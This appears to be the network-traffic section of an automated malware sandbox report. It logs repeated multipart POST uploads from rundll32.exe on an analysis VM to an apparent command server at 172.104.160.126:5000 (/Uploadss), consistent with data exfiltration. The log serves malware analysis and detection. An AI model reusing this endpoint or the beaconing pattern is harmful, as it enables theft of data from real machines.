Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49296	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:46.488893986 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4d702bb6621a98ce
Jul 22, 2024 16:00:47.500313044 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:47 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49297	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:47.526498079 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------3ff2595632dfd343
Jul 22, 2024 16:00:48.465368032 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:48 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49298	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:48.509367943 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6be2ae2c8e7d9a07
Jul 22, 2024 16:00:49.527154922 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:49 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49299	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:49.545937061 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------5287d62a7467fc4e
Jul 22, 2024 16:00:50.513243914 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:50 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49300	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:50.537250996 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------124d7d68b6a08cfd
Jul 22, 2024 16:00:51.532246113 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:51 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49301	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:51.556179047 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------837b5fa459944e4b
Jul 22, 2024 16:00:52.558851004 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:52 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49302	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:52.576524973 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------22f31a976d8ccacd
Jul 22, 2024 16:00:53.595066071 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:53 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49303	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:53.639671087 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------adf6f33d0b6a389e
Jul 22, 2024 16:00:54.591725111 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:54 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49304	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:54.611356020 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------69954c1bb23fa243
Jul 22, 2024 16:00:55.556974888 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:55 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49305	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:55.571405888 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------54f15fd9c89287c7
Jul 22, 2024 16:00:56.606450081 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:56 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49306	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:56.633208036 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------862973e7d8c5e47a
Jul 22, 2024 16:00:57.601979017 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:57 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49307	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:57.639928102 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------218f885d1d1b01f5
Jul 22, 2024 16:00:58.592658043 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:58 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49308	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:58.618525982 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------21ef4c783e5ef6a8
Jul 22, 2024 16:00:59.604679108 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:59 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49309	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:59.630758047 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------8d935b7ab73db626
Jul 22, 2024 16:01:00.559245110 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:00 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49310	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:00.582381010 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------3e1bcbfd1ac49b71
Jul 22, 2024 16:01:02.057221889 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:01 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}
Jul 22, 2024 16:01:02.059281111 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:01 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49311	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:02.463252068 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------453e0988638a690b
Jul 22, 2024 16:01:03.456154108 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:03 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49312	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:03.470257044 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------936caa563e76ca26
Jul 22, 2024 16:01:04.427050114 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:04 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49313	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:04.450942039 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------96aa930188ad95d0
Jul 22, 2024 16:01:05.689122915 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:05 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49314	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:05.714416027 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------1c10b124588ac309
Jul 22, 2024 16:01:06.660924911 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:06 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49315	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:06.704602957 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------7cef968b537d35d7
Jul 22, 2024 16:01:07.703936100 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:07 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49316	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:07.724663019 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------cd9315d0f70306a2
Jul 22, 2024 16:01:08.669856071 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:08 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49317	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:08.704874992 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------1e25afe42fd86294
Jul 22, 2024 16:01:09.676007032 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:09 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49318	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:09.702301979 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------01894383c334ebcc
Jul 22, 2024 16:01:10.699625969 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:10 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49319	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:10.717380047 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2c7fc54d6c7c04d4
Jul 22, 2024 16:01:11.710686922 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:11 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49320	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:11.769510984 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------bb4d8fe5f94a83f5
Jul 22, 2024 16:01:12.789072037 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:12 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49321	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:12.819550037 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a9d83593ce6d0496
Jul 22, 2024 16:01:14.040612936 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:13 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49322	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:14.065063953 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------d2c48da37d466a87
Jul 22, 2024 16:01:15.043804884 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:14 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49323	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:15.075386047 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------450e1ee269f45e90
Jul 22, 2024 16:01:16.017290115 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:15 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49324	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:01:16.039887905 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0089c8439ef77124
Jul 22, 2024 16:01:17.004576921 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:01:16 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49327	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:16.191401958 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6e3e4c3b05a79857
Jul 22, 2024 16:03:17.202486038 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:16 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49328	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:17.225318909 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------521206e0c9b94cee
Jul 22, 2024 16:03:18.188991070 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:17 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49329	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:18.221664906 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------3e6e6e56ae2cb74d
Jul 22, 2024 16:03:19.182420969 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:18 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49330	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:19.205502987 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------03a4310a76240f87
Jul 22, 2024 16:03:20.408421040 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:20 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49331	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:20.436728954 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0eac6bd829619dc3
Jul 22, 2024 16:03:21.368740082 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:21 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49332	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:21.395981073 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------7554e3942a8f0809
Jul 22, 2024 16:03:22.644881010 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:22 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49333	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:22.697532892 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f183d5370c54fe4b
Jul 22, 2024 16:03:23.685143948 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:23 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49334	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:23.985636950 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------ca18e54d06119b02
Jul 22, 2024 16:03:24.911393881 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:24 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49335	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:24.942766905 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------998ba500316220a8
Jul 22, 2024 16:03:25.909090996 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:25 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49336	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:25.931350946 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2680bd2607a01273
Jul 22, 2024 16:03:27.155927896 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:26 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49337	172.104.160.126	5000

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:27.179018021 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------03efbda4d78b7cdf
Jul 22, 2024 16:03:28.389327049 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:27 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49338	172.104.160.126	5000

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:03:28.401137114 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a35d77128ae5cf6a
Jul 22, 2024 16:03:29.383732080 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:03:29 GMT Content-Type: application/json Content-Length: 22 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49715	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:57:48 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 7a 44 46 48 39 69 70 67 30 6d 49 77 78 49 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 39 62 61 65 37 38 37 37 38 37 66 64 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 2zDFH9ipg0mIwxIz.1Context: ebe9bae787787fdf
2024-07-22 13:57:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
